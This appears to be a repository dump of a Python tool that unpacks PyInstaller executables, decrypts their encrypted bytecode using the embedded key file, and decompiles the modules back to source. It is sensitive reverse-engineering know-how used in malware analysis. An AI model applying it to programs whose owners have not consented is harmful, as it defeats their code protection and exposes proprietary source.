219 | 220 | def extractFiles(self): 221 | print('[*] Beginning extraction...please standby') 222 | extractionDir = os.path.join(os.getcwd(), os.path.basename(self.filePath) + '_extracted') 223 | 224 | if not os.path.exists(extractionDir): 225 | os.mkdir(extractionDir) 226 | 227 | os.chdir(extractionDir) 228 | 229 | for entry in self.tocList: 230 | basePath = os.path.dirname(entry.name) 231 | if basePath != '': 232 | # Check if path exists, create if not 233 | if not os.path.exists(basePath): 234 | os.makedirs(basePath) 235 | 236 | self.fPtr.seek(entry.position, os.SEEK_SET) 237 | data = self.fPtr.read(entry.cmprsdDataSize) 238 | 239 | if entry.cmprsFlag == 1: 240 | data = zlib.decompress(data) 241 | # Malware may tamper with the uncompressed size 242 | # Comment out the assertion in such a case 243 | assert len(data) == entry.uncmprsdDataSize # Sanity Check 244 | 245 | with open(entry.name, 'wb') as f: 246 | f.write(data) 247 | 248 | if entry.typeCmprsData == b's': 249 | print('[+] Possible entry point: {0}'.format(entry.name)) 250 | 251 | elif entry.typeCmprsData == b'z' or entry.typeCmprsData == b'Z': 252 | self._extractPyz(entry.name) 253 | 254 | 255 | def _extractPyz(self, name): 256 | dirName = name + '_extracted' 257 | # Create a directory for the contents of the pyz 258 | if not os.path.exists(dirName): 259 | os.mkdir(dirName) 260 | 261 | with open(name, 'rb') as f: 262 | pyzMagic = f.read(4) 263 | assert pyzMagic == b'PYZ\0' # Sanity Check 264 | 265 | pycHeader = f.read(4) # Python magic value 266 | 267 | if imp.get_magic() != pycHeader: 268 | print('[!] Warning: The script is running in a different python version than the one used to build the executable') 269 | print(' Run this script in Python{0} to prevent extraction errors(if any) during unmarshalling'.format(self.pyver)) 270 | 271 | (tocPosition, ) = struct.unpack('!i', f.read(4)) 272 | f.seek(tocPosition, os.SEEK_SET) 273 | 274 | try: 275 | toc = marshal.load(f) 276 | except: 277 | print('[!] Unmarshalling FAILED. Cannot extract {0}. Extracting remaining files.'.format(name)) 278 | return 279 | 280 | print('[*] Found {0} files in PYZ archive'.format(len(toc))) 281 | 282 | # From pyinstaller 3.1+ toc is a list of tuples 283 | if type(toc) == list: 284 | toc = dict(toc) 285 | 286 | for key in toc.keys(): 287 | (ispkg, pos, length) = toc[key] 288 | f.seek(pos, os.SEEK_SET) 289 | 290 | fileName = key 291 | try: 292 | # for Python > 3.3 some keys are bytes object some are str object 293 | fileName = key.decode('utf-8') 294 | except: 295 | pass 296 | 297 | # Make sure destination directory exists, ensuring we keep inside dirName 298 | destName = os.path.join(dirName, fileName.replace("..", "__")) 299 | destDirName = os.path.dirname(destName) 300 | if not os.path.exists(destDirName): 301 | os.makedirs(destDirName) 302 | 303 | try: 304 | data = f.read(length) 305 | data = zlib.decompress(data) 306 | except: 307 | print('[!] Error: Failed to decompress {0}, probably encrypted. Extracting as is.'.format(fileName)) 308 | open(destName + '.pyc.encrypted', 'wb').write(data) 309 | continue 310 | 311 | with open(destName + '.pyc', 'wb') as pycFile: 312 | pycFile.write(pycHeader) # Write pyc magic 313 | pycFile.write(b'\0' * 4) # Write timestamp 314 | if self.pyver >= 33: 315 | pycFile.write(b'\0' * 4) # Size parameter added in Python 3.3 316 | pycFile.write(data) 317 | 318 | 319 | def main(): 320 | if len(sys.argv) < 2: 321 | print('[*] Usage: pyinstxtractor.py ') 322 | 323 | else: 324 | arch = PyInstArchive(sys.argv[1]) 325 | if arch.open(): 326 | if arch.checkFile(): 327 | if arch.getCArchiveInfo(): 328 | arch.parseTOC() 329 | arch.extractFiles() 330 | arch.close() 331 | print('[*] Successfully extracted pyinstaller archive: {0}'.format(sys.argv[1])) 332 | print('') 333 | print('You can now use a python decompiler on the pyc files within the extracted directory') 334 | return 335 | 336 | arch.close() 337 | 338 | 339 | def reverse_main(exe_file_path): 340 | arch = PyInstArchive(exe_file_path) 341 | if arch.open(): 342 | if arch.checkFile(): 343 | if arch.getCArchiveInfo(): 344 | arch.parseTOC() 345 | arch.extractFiles() 346 | arch.close() 347 | print('[*] Successfully extracted pyinstaller archive: {0}'.format(sys.argv[1])) 348 | print('') 349 | print('You can now use a python decompiler on the pyc files within the extracted directory') 350 | return True 351 | 352 | arch.close() 353 | return False 354 | 355 | 356 | if __name__ == '__main__': 357 | main() -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | spark-parser-1.8.9 2 | uncompyle6-3.8.0 3 | xdis-6.0.3 -------------------------------------------------------------------------------- /reverse_pyexe.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2021/12/16 16:21 3 | # @Author : ordar 4 | # @Project : reverse_pyexe 5 | # @File : reverse_pyexe.py 6 | # @Python: 3.7.5 7 | import sys 8 | import os 9 | import threading 10 | import multiprocessing 11 | from pyinstxtractor import reverse_main 12 | from hextool import HexTool 13 | 14 | 15 | # 定义目录和文件 16 | # root_path = os.getcwd() 17 | root_path = os.path.split(os.path.abspath(sys.argv[0]))[0] 18 | exe_file_path = sys.argv[1] 19 | exe_file = os.path.basename(exe_file_path) # "xxx.exe" 20 | # exe_file_realpath = os.path.join(os.getcwd(), exe_file) # exe文件绝对路径 21 | exe_filename = os.path.basename(os.path.splitext(exe_file_path)[0]) # "xxx" 22 | ext = os.path.splitext(exe_file_path)[-1] # ".exe" 23 | extracted_dir = exe_file + "_extracted" # 逆向文件释放目录 24 | extracted_package_dir = os.path.join(extracted_dir, "PYZ-00.pyz_extracted") # 逆向依赖包文件释放目录 25 | struct_file_path = os.path.join(extracted_dir, "struct") # struct文件路径 26 | # struct_file_path = os.path.join(root_path, struct_file_path) # struct文件 绝对路径 27 | key_file_path = os.path.join(extracted_dir, "pyimod00_crypto_key") # 秘钥存放文件 28 | 29 | out_dir = exe_file + "_out" # 输出转换结果目录 30 | 31 | # print(root_path, exe_file, main_file, ext, extracted_dir, extracted_package_dir, struct_file_path, main_file_path, out_dir) 32 | 33 | 34 | def get_main_file(): 35 | files = os.listdir(extracted_dir) 36 | for af in files: 37 | if af.endswith(".exe.manifest") and " " not in af: 38 | return str(af).replace(".exe.manifest", "") 39 | 40 | 41 | def make_exe_package_files(): 42 | #### 转换解密文件 43 | ht = HexTool(struct_file_path) 44 | # 转换入口文件 45 | out_pyc_files.append(ht.make_main_pyc(main_file_path)) 46 | 47 | # 转换依赖包文件 48 | package_files = os.listdir(extracted_package_dir) 49 | # print(package_files) 50 | for file in package_files: 51 | # 过滤依赖文件,这里简单过滤 52 | if file.endswith(".pyc") and len(file.split(".")) == 2 and not file.startswith("_"): 53 | # if file.endswith(".pyc"): 54 | file_path = os.path.join(extracted_package_dir, file) 55 | ht.make_package_pyc(file_path) 56 | out_pyc_files.append(file_path) 57 | 58 | # print(len(out_pyc_files),out_pyc_files) 59 | 60 | #### 逆向还原文件,然后输出到结果目录 61 | pool = multiprocessing.Pool(processes=3) 62 | for pyc_file in out_pyc_files: 63 | # 单线程 64 | # ht.reverse_pyc(pyc_file, out_dir) 65 | 66 | # 多线程 67 | # t = threading.Thread(target=ht.reverse_pyc, args=(pyc_file, out_dir)) 68 | # t.start() 69 | 70 | # 多进程 71 | # p = multiprocessing.Process(target=ht.reverse_pyc, args=(pyc_file, out_dir)) 72 | # p.start() 73 | 74 | # 进程池 75 | pool.apply_async(ht.reverse_pyc, args=(pyc_file, out_dir)) 76 | pool.close() 77 | pool.join() 78 | 79 | 80 | def make_encrypto_exe_package_files(): 81 | #### 转换解密文件 82 | ht = HexTool(struct_file_path) 83 | # 转换入口文件 84 | out_pyc_files.append(ht.make_main_pyc(main_file_path)) 85 | 86 | # 转换依赖包文件 87 | package_files = os.listdir(extracted_package_dir) 88 | # print(package_files) 89 | for file in package_files: 90 | # 过滤依赖文件,这里简单过滤 91 | if file.endswith(".pyc.encrypted") and len(file.split(".")) == 3 and not file.startswith("_"): 92 | file_path = os.path.join(extracted_package_dir, file) 93 | # 这里要先解密文件 解密为pyc文件 94 | key = ht.get_encrypto_key(key_file_path) 95 | ht.decrypt_package_file(key, file_path, str(file_path).replace(".pyc.encrypted", "")) 96 | ht.make_main_pyc(str(file_path).replace(".pyc.encrypted", "")) 97 | out_pyc_files.append(str(file_path).replace(".encrypted", "")) 98 | 99 | #### 逆向还原文件,然后输出到结果目录 100 | pool = multiprocessing.Pool(processes=3) 101 | for pyc_file in out_pyc_files: 102 | # 单线程 103 | # ht.reverse_pyc(pyc_file, out_dir) 104 | 105 | # 多线程 106 | # t = threading.Thread(target=ht.reverse_pyc, args=(pyc_file, out_dir)) 107 | # t.start() 108 | 109 | # 多进程 110 | # p = multiprocessing.Process(target=ht.reverse_pyc, args=(pyc_file, out_dir)) 111 | # p.start() 112 | 113 | # 进程池 114 | pool.apply_async(ht.reverse_pyc, args=(pyc_file, out_dir)) 115 | pool.close() 116 | pool.join() 117 | 118 | 119 | if __name__ == '__main__': 120 | if len(sys.argv) < 2: 121 | print("Usage: reverse_pyexe xxx.exe") 122 | sys.exit(-1) 123 | 124 | try: 125 | import uncompyle6 126 | except ImportError: 127 | print("[-] 未安装模块[uncompyle6]") 128 | print("[*] 请先安装模块[uncompyle6]") 129 | sys.exit(-1) 130 | 131 | ### 逆向exe文件 132 | re_flag = reverse_main(exe_file_path) 133 | if re_flag: 134 | os.chdir(root_path) 135 | # 获取入口文件 136 | main_file = get_main_file() 137 | main_file_path = os.path.join(extracted_dir, main_file) # 入口文件路径 138 | # main_file_path = os.path.join(root_path, main_file_path) # 入口文件 绝对路径 139 | # 转换出的pyc文件列表 140 | out_pyc_files = [] 141 | 142 | ### 判断是否有加密 143 | if os.listdir(extracted_package_dir)[2].endswith(".encrypted"): 144 | make_encrypto_exe_package_files() 145 | else: 146 | make_exe_package_files() 147 | 148 | 149 | 150 | --------------------------------------------------------------------------------